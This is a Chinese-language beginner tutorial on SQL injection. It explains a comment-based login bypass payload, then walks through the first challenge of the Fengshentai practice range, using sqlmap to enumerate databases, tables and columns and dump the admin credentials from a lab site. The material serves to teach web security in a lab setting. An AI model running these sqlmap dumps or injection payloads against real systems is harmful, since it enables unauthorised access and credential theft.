一.什么是sql注入漏洞:
在网页中,我们有的时候会在上方的可以输入url的地方进行输入,比如输入一个url,或者直接用其进行搜索。但是,我们使用一个网站,例如我随意写一个:http://www.suiyixie.com/?id=1,如果我们正常使用的话,对于后端服务器来说就是正常的,但是,当我们不按照常理输入,那就会出现很多问题,不是无法搜索或者进入我们想要的网页,就是会对数据库造成威胁,使黑客能够以此得到管理员的账户和密码,比如一般的情况下,数据库在查询的时候使用的语句是:
select * from users where username = "name" and password = 1234;
如果我们正常输入name的参数和密码,这就是一个正常的查询,不过我们把密码输错了,那就可能会导致查询不到数据,或者显示密码错误。但是,如果我们在输入账号的时候将不正常输入为name,而是输入name"; --
select * from users where username = "name";--" and password = 1234;
这个时候,无论我们输入的密码是什么,这个数据库的查询都是正确的查询,因此,这会给黑客一个不用管理员密码就可以直接登录为管理员的一个方法,也就是专业人士口中的sql注入漏洞。
具体点来说,sql注入就是用户在前端传输数据时,使用的某些字符被数据库当作参数进行执行,进而导致了和上边类似的问题,使黑客对数据库进行非法查询或修改。
二.封神台靶场,第一题实操,sqlmap进行简单注入攻击。
利用sqlmap查询目标网站的所有数据库:
sqlmap -u pu2lh35s.ia.aqlab.cn/?id=1 -dbs
可以查到,它所使用的数据库总的有三个。
因此我们可以试着猜一下该网站使用的是哪一个数据库来存放的网页中的那一篇新闻。
大胆猜测一下,information_schema数据库在一般情况下是不会去动的,那么后面两个呢?这个时候,就可以试着查询maoshe这个数据库中的表。
sqlmap -u http://pu2lh35s.ia.aqlab.cn/?id=1 -D "maoshe" --tables
于是就得到了四张表。
再然后我们试着查一下admin表中的所有字段
sqlmap -u pu2lh35s.ia.aqlab.cn/?id=1 -D "MaoShe" -T "admin" --columns
可以查出它究竟拥有3个字段以及其类型
这里面,我们就可以试着查询下其username字段和password字段,看一下是否有我们能够用得上的东西。
sqlmap -u pu2lh35s.ia.aqlab.cn/?id=1 -D "MaoShe" -T "admin" -C "username,password" --dump
于是就可以得到所有的用户和密码了。
可以看到admin是管理员,于是,管理员的密码也就是hellohack,那么,这道题的flag也就是这个。那么封神台的第一题也就成功做出来了。